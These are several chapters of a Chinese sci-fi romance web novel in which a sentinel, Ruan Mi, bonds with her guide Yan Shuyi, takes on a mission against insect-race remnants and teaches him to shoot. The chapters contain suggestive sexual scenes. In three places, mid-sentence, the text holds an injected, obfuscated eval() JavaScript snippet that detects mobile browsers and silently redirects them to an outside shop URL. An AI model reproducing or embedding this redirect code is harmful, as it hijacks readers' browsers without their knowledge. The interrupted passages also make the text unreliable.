而这就像是一场狂赌。 把自己的性命全部寄托在另一个人身上,无论这个人会是谁,都会让阮弥心有不安。 无数的念头在她混乱的脑海中交战,纷杂思绪中忆起的面庞,意料之中是言述一。她怀有忧虑,她不知道这份被迫的绑定对他而言是否是一件好事?她在苛责自己,不告诉言述一强制绑定的她自私自利…… 心中无可避免在预演最坏的结果,暴露脆弱和软肋会让她又一次陷入牢笼,被利用,被支配。 最终,阮弥强撑起身体,注射第四支抑制剂。 去押注吧。她不想让自己显得格外凄惨无助,也不太愿意用伪装去试探真心,如果事情真的到了无法挽回的那一步…… 那就毁掉好了? 她不确定,她已经连自己的想法都无法摸清。 搀扶墙壁验证指纹,无痕沉重的大门缓缓开启,阮弥垂着眼迈步,混乱的感官没有让她察觉不远处之人的存在。 手掌没有如愿碰到预想中的冷硬栏杆,而是落空,下一秒,她被人拥入怀中。 一个她未曾预料的怀抱。 “……言述一?” “嗯,是我。”他的声音里是阮弥没有察觉的微颤。 言述一半跪在地上抱着阮弥。 从见到阮弥第一眼起,他就立刻开始浅层精神疏导,让那些躁动不安的精神力有了出口。 他知晓并体悟着阮弥所承受的苦痛。 明明距离上一次精神结合失效还有很多天,执行一次任务就变成这样,绝不可能是任务有多么棘手,言述一很清楚,就是圣所那群老东西不安好心。 凭什么阮弥要被这样对待?凭什么! 感知渐渐回归正常的阮弥,发觉言述一揽着自己的手在颤抖。她抬眼,看见往日那双璀璨明亮的紫眸此刻充满心疼和怒火。 那份怒火肯定不属于她。 意识到自己的想法后,阮弥不由自主绽开笑颜,这点由心而生的笑意将她先前的所有思绪冲散。 她抬起手,抚平言述一紧皱的眉头:“对不起,让你担心了。” “阮弥才没有对不起我的地方。” “还是有的。” 她声音轻轻,像是天上随风飘摇快要断线的风筝。可在这个地下暗室的温暖怀抱中,阮弥也明白此刻的自己不再需要强撑。 “述一……” “怎么了?是哪里不舒服吗?”言述一眼中满是担忧。 阮弥摇头,抚上他的脸颊轻声询问:“你愿意和我精神结合吗?” 只见言述一抬手贴上她的手背,用一个轻吻给予答案: 他求之不得。 25. 第 25 章 风浪翻涌的海面,阮弥驻足凝望。 和上一次全然失控相比她现在还保留足够多的清醒,也正因如此她在怀疑、在忧虑,她不知道自己的选择是否通往她所期望的正确。 有人自身后轻轻将她拥住。 只是一个拥抱。 未来无法窥视直至成为现实,不论展现何种模样,她终将去往。 被风扬起的发丝交织相连,阮弥转过身,看向那双始终落在自己身上的漂亮双眼。她抬手,肆无忌惮地描摹,从眼眶一路延伸至脖颈,记忆中的烙印已经消失无踪,指腹在来回反复。 这是第二次。 在唇齿抵住皮肤的那一刻,言述一心满意足轻笑出声,他得到准许,能够夺走她的注意。 环住腰身的手开始有了动作,像是不愿结束这被吞吃入腹的时刻,他不断加深拥抱直至彼此之间再无距离可言。 细密的疼痛没有让他镇静反而助长难言的欲念。 下一个得到吻的,应该是他了吧? 温热的唇瓣刚离开印记就被即刻夺走,等待是言述一擅长的事,抢夺也是。无论是阮弥的注意,还是属于阮弥的温度、潮湿,都会被他掠取并牢牢占据。 “阮弥,阮弥……” 难以抑制的呼声夹杂含糊不清的吐息,让人意乱情迷。 交融的精神织成躲不开的细线,线的另一头是去往何处也无法逃开的索求。蜿蜒遍布的发丝已经难分彼此,繁杂的思绪也早已破碎混乱,风浪呼啸中,她坠入名为情欲的海潮。 被扣住的掌心,不知道会落到何处的舔舐…… 所有的一切都印证她曾预想过的欢愉。 等视线再一次睁开见到熟悉的装潢和天花板,还好不是又一场梦境的庆幸占据阮弥的脑海。她不知道自己是什么时候脱身,又是什么时候陷入迷梦,好在她终于醒来。 轻轻转动的门扉昭告另一人的到来。 “睡醒了?有没有哪里不舒服?”言述一来到阮弥身旁,轻声细语地询问。 “……没有。”半梦半醒坐起来的阮弥重新倒在他怀里,后知后觉发现自己身上的衣物已经换成居家睡衣。 一些不合时宜的记忆被她想起。 抬手理好阮弥凌乱发丝的言述一自然察觉得到她的情绪变化,抑住笑意说道:“抱歉,昨晚没经过允许就进了你的房间。” “没关系的……” 说着阮弥又在心底无声尖叫。 都精神结合两次了,进房间帮忙换衣服算不上什么!再说了,她这次也算是有进步了。 阮弥如此说服自己,胡思乱想一通反而让她彻底清醒过来。 她直起身,从言述一怀里离开,目光扫过带有水汽白得刺眼的裸露肌肤,他刚洗完澡,穿着松松垮垮的浴衣,水珠正顺着流畅的肌肉线条落入更深处。 在又想起什么不对劲的记忆之前阮弥先一步抬手遮住自己的视线。 这到底是巧合还是蓄意勾引? 她不敢细想。 “怎么了?”某人明知故问,语气带笑肆意拉近距离。 先前神志不清主动靠近此刻是退无可退,阮弥牙一咬心一横,侧头吻了上去,匆匆忙忙结束翻身从另一侧离开,只留下一句:“我去洗漱了。” 留在原地的言述一抬手触碰阮弥短暂掠过的地方,笑逐颜开。 逃跑了啊……还被咬了一下。 躲进盥洗室的阮弥计划等待,只是有人故意不让她如愿,言述一一直没有离开。她探出头,只见言述一坐在床沿边,在发现自己后粲然一笑,那双眼中的神色也一如往常,好似全然无害。 阮弥直觉不对。 逃跑路线已经被堵死了。 用精神力和其余手段当然可以离开,但那些方法都是用来对付敌人和无关紧要的家伙,非必要情况不能用类似的方式对待自己的向导吧?所以现在属于必要情况吗? 算吗?应该不算吧?阮弥不知道。 “怎么不过来?” 话落,言述一就起身朝她走来。阮弥顿时拉响警铃,还没作出决断就又被拉入怀中。 “阮弥很紧张呢,是担心发生什么事情吗?”没等她回答言述一已然凑近。 “你的担心是对的。” 他顺着话音欺身而上,落下一个个蓄谋已久的吻,或长或短地停留于她唇齿间纠缠不休,任由她怎么拍打都纹丝不动。 报复啊!这是报复啊! 害怕场面失控的阮弥根本不敢乱动怕自己一不小心碰掉什么,只能任由索取。 无处安放的手心被牵引着一路向下,一条从腰间滑落到胯骨的细链落在手中。她没办法也不敢去看,大脑贴心地为她弥补缺失画面。 这简直是有伤风化!!! 阮弥狠狠咬了言述一一口他才终于笑着放开她,明明是纠缠不休的一方言述一反而面色绯红眼神迷乱,好像欺负人的是她一样。 也不是不可以。 行动先于想法一步,言述一被阮弥推倒,欺压身下,他没有任何抗拒之意,眉眼带笑相迎,和故事里勾人心魄的妖魅别无二致,食髓知味又没有被满足。 毫无章法的吻被当作又一场复仇。 等到发泄完心中的情绪,就看见言述一眼中含笑,手指勾起她的头发玩弄道:“阮弥的吻技有很大提升空间……”还没说完就被阮弥捂住嘴。 她吻得很烂她当然知道!言述一这么熟练才更奇怪,阮弥都不得不开始相信在这方面也是讲究天赋异禀。 “老实交代,你到底哪里学的?” “梦里。” 意料之外的答案让阮弥分神片刻,也就那么瞬息,她的位置再度天翻地覆,又一次被禁锢在那双幽紫色眼眸中,他眼尾泛起的红太过灼人。 “梦里的阮弥很喜欢。” 这场贪得无厌的索取最后以一个轻吻告终,被亲得晕头转向的阮弥听见言述一在自己耳边轻语,舌尖舔舐过她的耳垂: “多谢款待。” ……这个得一寸进十尺的家伙! 不知从何时开始,把早餐当作午饭吃成了这个家的用餐习惯。在一起吃饭的期间,阮弥打开午间新闻播报观看,视线落在最下方的滚动字幕上。 “永暮一名近特级向导失踪,目前下落不明,有线索者请联系当地公会。小行星XC-7031B忽然消失,相关学者正在研究运动轨迹。帮派冲突,请附近居民注意安全,求助热线是……” 看到意料之中的内容,阮弥心情越发明朗。 放在手边的终端一直有消息传来,她扫了一眼就一键已读,紧急任务后休假理所应当,她要罢工。 也不知道言述一的任务怎么样了,应该不会有什么大问题吧。阮弥现在正故意回避言述一的视线,而且她不想在难得的闲暇时光里聊任务。 他倒是嚣张到目光从未有哪怕一刻从她身上移开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579603|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 狡猾的。 圣所故意让他欠下的巨额积分也不知道有没有影响到他,阮弥倒是觉得问题不大,只要用圣所难以拒绝的条件去要挟就可以解决,之前和言述一一起做任务也是希望他能在离开她之后好好生活吧。 不过,离开她吗…… 恍然间,阮弥惊觉自己竟然因为一个念头就产生不舍的情绪,这是精神结合使然还是出自她的真心? “叮咚。” 忽如其来的门铃声打断阮弥的思绪和两人之间的僵局,她唤出投影,看见来人是陆衍和陆绝。她心底冷笑,难得老鼠也会出门。 坐在对面的言述一看见阮弥皱起眉头就知道来者不善。 “要是阮弥不想见的话,就让我去处理吧?” 终于转向的视野中,言述一的目光柔和又无害,语气也听起来贴心得不得了。阮弥一开始还有点不放心吧,但没犹豫多久就打算任由他去了:“好啊。” 一直以来被外表欺骗的人是她啊。 在屋外等候半天,心心念念的房门被人拉开,出现在陆衍他们面前的却不是预想中的身影。 “言向导,好久不见。” 相比于第一次见面,陆衍已经将种种情绪压在心底,陆绝就有些藏不住事:“怎么是你?” “怎么不能是我?她不想见你们,所以我来了。”言述一今天心情算得上极为不错,以至于让他有足够的闲心和这些人浪费口舌。 陆绝落后陆衍半个肩头的距离,不加掩饰的恶意目光审视这个身上带有阮弥精神力的男人。 只看表面的话这位言向导看起来比他哥哥还要和蔼几分,却让他感到前所未有的恶心。 凭什么凭什么凭什么凭什么凭什么? 凭什么是他! “啊!”陆绝双目刺痛惊叫出声,陆衍侧身一眼就知晓自己的弟弟是被精神力攻击了。 可他也无法回击,上一次的精神空间暴动让他被迫休养一月有余,他比任何人都清楚言述一是何等的虚伪和可怖。 始作俑者笑意见长:“所以,你们有什么要紧的事吗?” “长老要见你们。”陆衍语调没有起伏。 “是吗?我知道了。”话落,言述一就打算闭门谢客,而陆衍察觉出他言语中的毫不在意,并且只字不提阮弥。 他使用精神力阻碍言述一关门的动作:“你……不打算告诉阮弥?” “有什么让她烦心的必要吗?”言述一是真的不太明白这些人到底是从何而来的自信,“圣所的长老们总是高高在上呢,真好奇他们的依仗是什么,高塔里一无是处的囚徒?” “权当是我的过错好了,就算不见又能怎么样呢?”他可不是什么都不懂的提线木偶,阮弥更不会是。 言述一环抱着手,眼中满是嘲弄和冷意,对这些没有自知之明者给出最后宣判:“她不喜欢你们,也没多余的精力讨厌你们,别总来碍她的眼。” “至于圣所的长老们……” “你不如劝他们快点给自己挑块心仪墓地吧,我发自内心担忧他们会没有这样的机会。” 挂着充满恶意的笑容合上门回到室内,言述一却发现阮弥已经不在餐桌前了,他心中倒也没有失落的情绪,一直在忍让的阮弥总是会让他不由自主想要做得更过分些。 不过,他看上去有那么欲求不满吗?他还是有分寸的吧? 真可惜,他还想讨要奖励呢。 26. 第 26 章 又做了奇怪的梦…… 一觉睡醒,天已经黑了,阮弥坐起,在怀疑自己和怀疑言述一中摇摆不定。 她展开感知,想看看言述一在哪,但她可以隐藏起自己不被人察觉,言述一也可以放出很多烟雾弹模糊她的感知。 不太妙啊…… 阮弥感到饥饿,阮弥思考中,阮弥决定铤而走险。 为什么在自己家也得黑灯瞎火地摸索!阮弥咬牙,但依旧轻手轻脚,为了避免打草惊蛇,她没有外放精神力甚至故意绕开感应灯,她深知这场鸟捉鱼的不平衡之处就在于只要看到就会失败。 等阮弥小心翼翼来到餐厅就一眼看到桌上有一盘小蛋糕。 感觉是诱饵,言述一好像在花园,先吃再说。她端起转身就要走,却有手揽上她的腰身,一只手端着小蛋糕另一只被人攥在掌心的阮弥动弹不得。 不好! “抓到了。” 随着热意一同袭来的,是落在脖颈处微凉的发丝。 突如其来的拥抱没有持续很久,言述一主动放开从阮弥身后走到她面前,自始至终没有松开好不容易抓住的手心。 他双手捧起,眼眸中满是可怜地看向她:“阮弥,我错了,不要不理我。” “我……睡着了。”视线在小蛋糕和言述一身上乱飘的阮弥开始找补。 不是故意不理他。 “真的吗?那也不要躲我好不好?留下来吧,我还准备了其他吃的。”他状似温顺般轻蹭阮弥掌心,从未移开的视线闪起期待。 “原谅我吧?” 躲闪的目光从那太过热切的眼中移开扫过被人紧紧握住的手。 ……这能拒绝吗? 如此想着,阮弥点头应下:“好。” “那你先吃这个,等我一下。”达成目的后言述一瞬间喜笑颜开,为阮弥拉开椅子才走进厨房。 不多时,桌上就摆满菜肴,依旧都是阮弥喜欢吃的菜式。在动筷之前,她注意到桌上有两副碗筷,他在等她? “你没吃吗?” “嗯,因为我想和阮弥一起吃。” 想起言述一从前自己一个人在塔里就只会喝营养液阮弥心头就泛起细微波动,小时候阮怀清女士就和她说过,食物并不是只有维持生命这一种作用。 “就算我不在也要好好吃饭。”她叮嘱道,虽然她自己也没有很规律。 “好。”言述一脸上笑意盈盈。 夜色已深,月光落满枝头,盛开的蓝花楹在夜风中摇曳,树下的影子成双成对,吃饱喝足的两人在花园散步消食。 阮弥不想说话,言述一也就牵着她的手静静陪在她的身旁。 手中的热意经久不退,阮弥忽然察觉到不知道从什么时候开始,她已经习惯言述一陪在自己身边。 就算有时会做出超出她预期的举动,也都恰好卡在她能接受的范围之内,所以她不会讨厌他。 不过,只是不讨厌吗? 在和人建立起关系这方面她大概是个胆小的家伙吧,如果言述一没有这些出乎意料的举动,她大概率不会选择和他有更进一步的接触,在最初的预期中,最好的结果就是互惠互利的合作关系。 曾经安安也是一样,她和安安的友谊全靠安安拉进度条,和蔓菁更是花了几年的时间才成为能够交心的朋友。 所以,所以…… 她应该还是喜欢的吧? “在想什么?”手被攥得很紧,言述一略有担心地看向阮弥。 意识到自己在做什么的她猛然松开,不过还是被言述一虚虚握住,对上目光后阮弥像是被灼伤一般,视线又开始乱飘:“我……” 手腕上的终端发出声响,是洛安。 被打断的阮弥反而松了一口气,按下接通后洛安的投影出现在二人面前,只听她道:“老大,有紧急情况。” “我现在过去。” “老大,言向导。”来到据点简单打过招呼后,洛安没有拖沓边为阮弥引路,边和她汇报情况。 “流放带传来消息说找到虫族余孽的巢穴,坐标传了一半,后面就无法联系上,那几人的生命体征还没有消失,但也没有活动迹象,我已经在让其余驻守人员去营救还没有更多消息传回。” “方泽也从圣所获取消息,明璃确认过他没有作假,大致内容是长老们在内部会议上明目张胆制定针对你和言向导的行动,目前能确定其中一个方案和虫族有关。” 来到会议室门口洛安却站定,没有第一时间开门,面露凝色。 “这些其实都还好,最要命的是有位曜尘侍官找上门,说是想见老大你一面。” “曜尘的官?”阮弥心中思索,对面表明官方职位,不知来意不知道是敌是友,却很清楚安安和她的关系,来的地方还是组织…… “我先进去吧。”事已至此,再多纠结也没意义,言述一和洛安留在外面以防有意外发生。 阮弥推门而入,等候多时的投影转过身:“晚上好,阮弥女士。” “请容许我先做一下自我介绍,我是曾青,一名哨兵,也是一位侍官。这次远跨星系贸然叨扰,有劳阮弥女士多多包涵……” 只见长桌对面的人什么都没说,径直拉开椅子坐下,她撑着脑袋,迟迟将视线转到他的身后。 “皇帝陛下,我应该向您行礼吗?” 话是这么说,但阮弥根本没有要起身的打算。 曾青闻言猛然看向身后,原本只该有他一人出现的投影此刻却映出在他身边的所有人,除他之外还有数位重臣护卫,以及在那重重珠帘后的曜尘帝王。 很显然,这是阮弥造成的局面。 “有意思。”令人万人心悸的女声回荡四方,饶有兴味的皇帝大手一挥道:“不必多礼。” “多谢皇帝陛下,也麻烦曾青大人把话说明白点吧。”阮弥没那么多精力去揣摩交涉中潜藏的暗词。 话落,曾青看向高位之人,在得到准许之后便不再说些废话:“阮弥女士,请相信曜尘对您没有任何恶意,此番前来是希望能与您合作。” “我们怀疑流放带中有虫族余孽残存,若不加以干预假以时日便会危害三大人类星系。” “由于一些原因,近期流放带对曜尘相关人士格外警惕,致使我们无法再继续深入探查。所以我们希望能与您达成合作,通过您更加深入了解流放带之中的情况,获取关键人证物证曜尘便能上报联邦派兵处理。” “同时,作为合作方我们会提供曜尘之前在流放带获取的全数资料,以及对您的母亲阮怀清女士提供更加周密的保护,无论是面对虫群或是其他潜在威胁。” “请您放心,这绝对不是威胁,而是一份承诺。阮怀清女士是我们曜尘不可多得的科研人才,而您本人也和曜尘没有任何利益上的冲突。” “您的实力我们有目共睹,曜尘会牢记XC-7031B的最终结局。” “至于最后的报酬,我们认为物质层面您不会有什么缺口,但只要您需要,曜尘能够给予,我们都能奉上。” 曾青面上依旧带笑,但脖颈滑落的汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582366|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水昭示他的精神早已紧绷:“如果情况不那么紧急或许还能让您有足够充足的时间考虑,只是当下情况恰恰相反……” “不知阮弥女士您意下如何?” 指尖在桌沿点了两个来回,受到众人瞩目的阮弥起身,做出决断:“没问题。” 这是个绝佳的机会,一个是可以和曜尘牵线搭桥,一个是确定流放带里面确实有虫族余孽,那么不论圣所到底是和哪里的虫族有勾结,她都能往他们身上泼脏水。 往日圣所对她施加种种迫害可没有讲究什么仁义礼智,那她自然会用同样的方式回敬。 “我会去流放带,等找到你们要的东西我会让人联系你们。” 松了口气的曾青拱手行礼:“衷心感谢您的慷慨,相关资料稍后发送。阮弥女士,今夜多有打扰,曜尘永远欢迎您与您的朋友到来。” 下一刻,投影全数消失,一直在门外等待的洛安冲了进来:“老大!你没事吧?” 言述一和不知何时而至的巫蔓菁同样目光担忧看向阮弥,她摇头作为回应,将交涉内容简单概述。 “看来流放带那边是比预想中的严重更多,连曜尘官方都伤脑筋,不过那位侍官的意思是不是说我也能上曜尘户口?哎哟!”洛安目光闪烁,关注点已经完全偏离,随即被巫蔓菁敲了一下脑袋。 紧张的气氛一扫而空,阮弥笑着回她:“应该是,那些人还蛮大慨的吧。” “等我这边准备得差不多就要去流放带,你们在索兰要注意提防圣所,小心为上。” 洛安拍拍胸脯保证:“放心吧老大,我们组织要是对付曜尘还是地狱难度,但要是对付索兰圣所那些老东西可是绰绰有余。老大你才是要多加小心,流放带组织据点内最近人不是很多。” “到时候我也会去看看情况。” 离别前夕,阮弥看向在黑夜中屹立的白塔,巫蔓菁意味深长道:“大厦将倾。” “一路顺风,我们会等你回来。” 折腾一番回到家中,阮弥倒也还没有睡意,她坐在客厅沙发上思索后续打算,言述一放下热水,在她身旁坐下牵起她的手。 等她看向他,还没等她说话,言述一就坚定道:“我要和你一起去。” “你怎么知道我要说什么?”阮弥无奈失笑。 看向阮弥的眼中是难以言喻的复杂情绪,充斥杂糅着愤怒、心痛、自责和一种脆弱。 “因为阮弥很多时候只会让自己一个人面对危险,那样的局面会让我很害怕……我不会是拖累的,我也想帮上你。” 每当言述一想起在地下室看见阮弥的那一眼,心底就会泛起阵阵刺痛。 为什么阮弥要经历这样的事?凭什么阮弥要受到伤害? 他很清楚造成这一切的罪魁祸首是索兰圣所,他也知道阮弥明明早就可以在成为特级哨兵的那一瞬间摆脱这一切,在日积月累的相处中,言述一也隐约知晓阮弥想要什么,他不再愿意成为旁观者。 言述一不知道阮弥是否会容许他的任性,他垂下视线,语气略有低沉:“我可以一次又一次在家里等你回来,可我不想再看到你受伤了。” 在这件事情上他不会再等待。 “好。”阮弥握紧他的手,让彼此之间的沉默和隔阂在弥漫前就彻底消散。 “那我们就一起去吧。” 二人在无言中相拥,直到情绪平复,言述一侧头轻蹭过阮弥颈间后起身,一件很在意的事恰逢时宜被他想起。 “对了,之前在花园的时候阮弥是想说什么呢?” 27. 第 27 章 ……他怎么还记着? 那种思绪黏稠不定的感觉重新回到阮弥的脑海中。糊弄一下吧,她如是想道:“没什么。” “那好吧。”也不知道言述一相没相信。 他陪着阮弥走到房间门口,这一次没再闯入,不过在分别前夕,他抓紧阮弥的手:“晚安,阮弥。” “晚安。” 互相道完晚安后言述一还没有放开她,阮弥就意识到有什么不对。只见言述一俯身凑近,轻而易举地突破两人之间原本还算安全的距离。 “之前我出去一趟回来阮弥就不见了,让我很是伤心呢。”他眉头微微蹙起,佯装失落看向阮弥,另一只空闲的手却已经揽上她的后背。 “所以我想要一个晚安吻,可以吗?” 如此充分的理由显然已经是蓄谋已久,所以即便言述一有询问阮弥,但他并没有等待她的答复,或者对他来说这已经是阮弥的默许。 事实也的确如此。 如果阮弥想要拒绝的话,她有千千万万种办法,在对待言述一上,她一直都在纵容。 接连不断的吻落下的同时,阮弥在心中怒斥言述一的贪心,可她也很清楚,导致这一切发生的原因其中有很大一部分都是她自己,因为她并不讨厌。 等到纠缠不休的吻夺走阮弥的所有呼吸,一场掠夺才落下帷幕。 直至最后,言述一依然牵着阮弥的手心:“我真的不可以知道吗?”她没说出口的话被言述一牢牢记在心间。 他的语调可怜兮兮,阮弥却听出一种不如愿就不罢休的胡搅蛮缠,是真的躲不过去。被逼无奈的她侧过头避开视线,破罐子破摔般给出回答: “那个时候我在想我应该是喜欢你的。” 说完她就转身开门要进自己的房间:“好了,你现在知道了,我也要去睡觉了,晚安。” 喜欢对阮弥来说有些陌生的情感,很多时候她都不知道该如何应对,她不想给予旁人太多的期待,她也不会要求别人要因此为她付出什么。 言述一任由她离开他的怀抱,却没有松开两人紧扣的掌心。 胸腔中鼓动的喜悦像是一团烈火,要将他燃烧殆尽,而在那之前,他迫切地想要将自己的心声传达到她的耳边。 “我也很喜欢阮弥。” 很喜欢很喜欢很喜欢很喜欢…… 阮弥不是情绪起伏很大的人,她眼中的那抹碧蓝总会加深她身上的冷意。所以无论是作为向导还是哨兵,冷淡漠然这类形容词总和阮弥如影随形。 可言述一清楚这只是阮弥的最表面,她也是炽热的,早在听到这番话前,他就感受过许许多多与阮弥有关的暖意。 现在也是一样。 早已结束的吻又人被接上,如果说先前的吻是言述一蓄意图谋,那现在的吻便是他情难自禁。 完全没有想过会发展到这步境地的阮弥背过手撑在床上,欺身而上的人正抵在她双腿之间,好不容易侧头得到呼吸的空隙耳边还传来轻笑,气不过想伸手打人却失去平衡倒在床上。 救命!为什么会变成现在这样! 接连落下的吻没有给她更多思考的时间,一个个念头像是断了线。 在那引人入坠的眼眸中,她好像又回到那片只有彼此的精神空间,永无止境的情潮和不知何时会满足的索求。 还是有些不一样,现在得不到满足的是两个人。 只不过煽风点火的家伙还有闲心拨弄她手中缠起的发丝。 可恶! 直至思绪和身体双双负荷,早已偏过头不肯再去看言述一的阮弥被人抱进被窝,最后的亲吻轻轻落在手背。 “晚安,阮弥。” 她抽回手拉起被子蒙住脑袋没有理他,再熟悉不过的轻笑流过耳畔,伴随脚步声远去室内昏黄的灯光也全部熄灭,陷入一片黑暗。 完全没办法静下心的阮弥在被子里大叫。 没过多久,一身黏腻的她认命般起身去往浴室。 等洗漱完毕阮弥稍稍心平气和躺在床上,一些难耐又不合时宜的声音绕过层层阻隔在她耳边响起。 从成为哨兵开始,除特意避开之外阮弥并不会错过任何一点细微的感知,她也能理解,毕竟欲望乃是人之常情,她会刻意回避。 这一次她不确定是自己的错觉还是什么,言述一的声音相较以往没了收敛,就像是在刻意引诱什么。 被压制的□□灰烬有了重燃的趋势,阮弥也没办法像以前一样屏蔽自己的感知。 故意的吧,这绝对是故意的吧! 一般来说,哨兵陷入无法自控的情况下就需要向导的抚慰,可是很显然,她的向导就是让她心神不宁的罪魁祸首。 无论如何都不打算去找言述一的阮弥没办法停止欲望蔓延,直至冰凉的指尖染上同样的温度和潮湿。 次日清晨,看见笑吟吟和自己打招呼的言述一阮弥就气不打一处来。 “早安。” 话音刚落就被人咬了,袭击者在得逞后匆匆离开现场去往楼下。 指腹滑过皮肤上的牙印,言述一脸上笑意更盛,他心想,这也算是得到早安吻了吧? 餐桌上,阮弥边吃早餐边在终端浏览曾青和洛安发来的资料,在星图确认跃迁坐标的期间,她扫过一个有点眼熟的星球。 她放下手中的茶杯,抬眼看向言述一问道:“你想回家看看吗?” 家?坐在她对面的言述一眼中露出茫然。 看出他明晃晃的疑惑,阮弥补充上星球名称:“哥黎那,言家星域的主星。” “原来是那个地方。”很显然言述一不认为哥黎那算得上是他的家,他甚至对此印象全无,“如果可以的话我想去看看我的母亲。” “当然可以,哥黎那所在星域距离流放带很近。” “会耽误很多时间吗?”他可以等返航再去。 “不会,这个事情也没那么紧急,人类不可能在短短几天内就被毁灭。” 曾青嘴上说着紧急只是希望阮弥快些给出答复,她很清楚既然曜尘能找上自己就说明还有时间,否则早就开军舰从流放带碾过去了。 曜尘想要的是一个合情合理的动机,要是虫族真的卷土重来情理绝对会被远远抛开。 “我们过去也不可能第一时间就解决,流放带鱼龙混杂,各方势力交错,能全面拦截曜尘相关人员就足以证明和虫族勾结是有人蓄谋已久,肯定有不少利益相关。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587913|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就算准备资料已经算得上充足,但理论和实践肯定会有很大差距,还要处理各种各样的突发情况。 “圣所会不会又来烦你?”言述一撑着脑袋在想要不要给他们先找点麻烦。 “最近这段时间他们不敢了,现在大概正忙着筹划什么阴谋吧,没多余的精力来管我们。” “那就好,我们什么时候出发?” “待会就可以。” 离开之前,阮弥带着言述一去了地下二层,他是有全屋权限,但这里他还没有特地探索过。地上的建筑用于居住,花园几乎占了一半面积,而地下不需要绿植装点就显得格外宽阔。 整个地下二层被划分为两个部分,一半是专门的训练场地,另一半则摆满各式各样武器装备和药剂。 从充满战斗力的武器旁走过,阮弥来到药剂架旁打开一个加密手提箱,里面是数十个大约有手指长的白色方片。 她随手抓了一半递给言述一:“这是安安让人研制出来的传送签,可以用精神力绑定坐标,折断传送。” 传送签质感如同清脆的玉,注入精神力感受的瞬间他脑海内就出现使用说明,范围是一光年内。 “洛安她没有精神力,那是不是还有一个非哨兵向导使用版本?” “对,还可以连终端输入,那才是最初版本,我手上还是她们特地改良过的,说是以后要赚两份钱。” 药剂架上就在一旁,阮弥简单介绍后将枪械从展示台上取下,递给身边之人问道:“你之前在塔里有学过怎么使用枪吗?” 言述一摇头:“圣所的长老对热武器有偏见。” 明面上公会有提供装备,但在暗中,在身为特级的言述一面前他们从不掩饰自己的轻视,他们认为无论什么样的武器,到最后都会是精神力更胜一筹。 “井底之蛙。” 说到底圣所的长老中也没几个是哨兵向导,他们才不在乎什么精神力,他们想要的只有万人之上的权力。 “我们确实绝大多数时候都不会用上,但即便如此我也认为我们需要掌握最基本的原理,因为会有人用这些东西来对付我们。” 边说阮弥边开始指导和纠正言述一持枪的姿势,她在他的身旁,带动他的手指扣上扳机。 “无论什么等级的哨兵和向导依旧是人类,受到致命伤就会死,而被热武器杀死的人数永远位于死因前列。” 言述一也在认真倾听和练习,他清楚阮弥的用意,这趟行程绝对算不上安全。 阮弥放开手:“开枪试试吧。” 他扣下扳机,子弹射出枪膛,随即穿透靶心。 “和操纵精神力攻击是完全不一样的感觉。”言述一还想再开枪试试,但下一秒,阮弥出现在被目镜锁定的标靶中。 他心下一惊,猛然收回手。 “确实如此。”她回应他先前的话,却站在原地没有移动,“你可以试着将自己的精神力附着在子弹上,尝试去操控,用你第一时间想到的方式。” 那双眼中依旧淡漠,可看向他时流露出的情绪会轻而易举扫去那份冷意,他从不会被刺伤。 只见阮弥笑着说道:“朝我开枪吧,别担心,我不会有事。” 28. 第 28 章 言述一在迟疑,但最终,对阮弥的信任压下他心底的恐惧。 无影无形的精神力自指尖游向枪膛,包裹住子弹,他会操纵精神力让子弹在射出后立即转向下坠。 举起枪对准阮弥,言述一吐出口气,扣下扳机。 一声枪响后,子弹悬停在两人之间。 言述一扔下枪就抱住阮弥,头埋在她的脖颈间像是说什么都不打算放手,知道自己是在急于求成的阮弥也心怀歉意轻拍他的后背安抚。 “我们单是对付人的话不会有什么问题,虫族也是一样,可如今二者掺和在一起会有不可控的情形。” 耳边传来轻语,言述一知道阮弥是在担心自己。 他自己实战经验不多,虽然之前说了不会拖后腿但谁知道会发生什么,他明白阮弥是为了自己好。 教学不是那么完美,可这就是她表达关心的方式,只是他一时之间有一点点接受不了。他不想伤害阮弥,哪怕是微乎其微的可能他也会感到惶恐。 “……我没事了。”相拥一会后言述一主动结束拥抱,没有让阮弥为此耽误更多时间。 她顺势拉着他来到子弹面前:“你的精神力让它转向,我的精神力则让它悬停,这都是可行方法。” “在面对这样的攻击时我们得分出精神力应对,一般来说向导能外放的精神力并不多,相应的范围就会缩小,需要控制得十分精准。每一种枪械、弹药都会有细微差别。” 在子弹即将射入自己的身躯时加以控制,需要掐准最关键的时机,这也是应对各种突如其来危险的方式。 哨兵和向导可以外放精神力凝成屏障,但都消耗极大,没有人会知晓混乱何时结束。 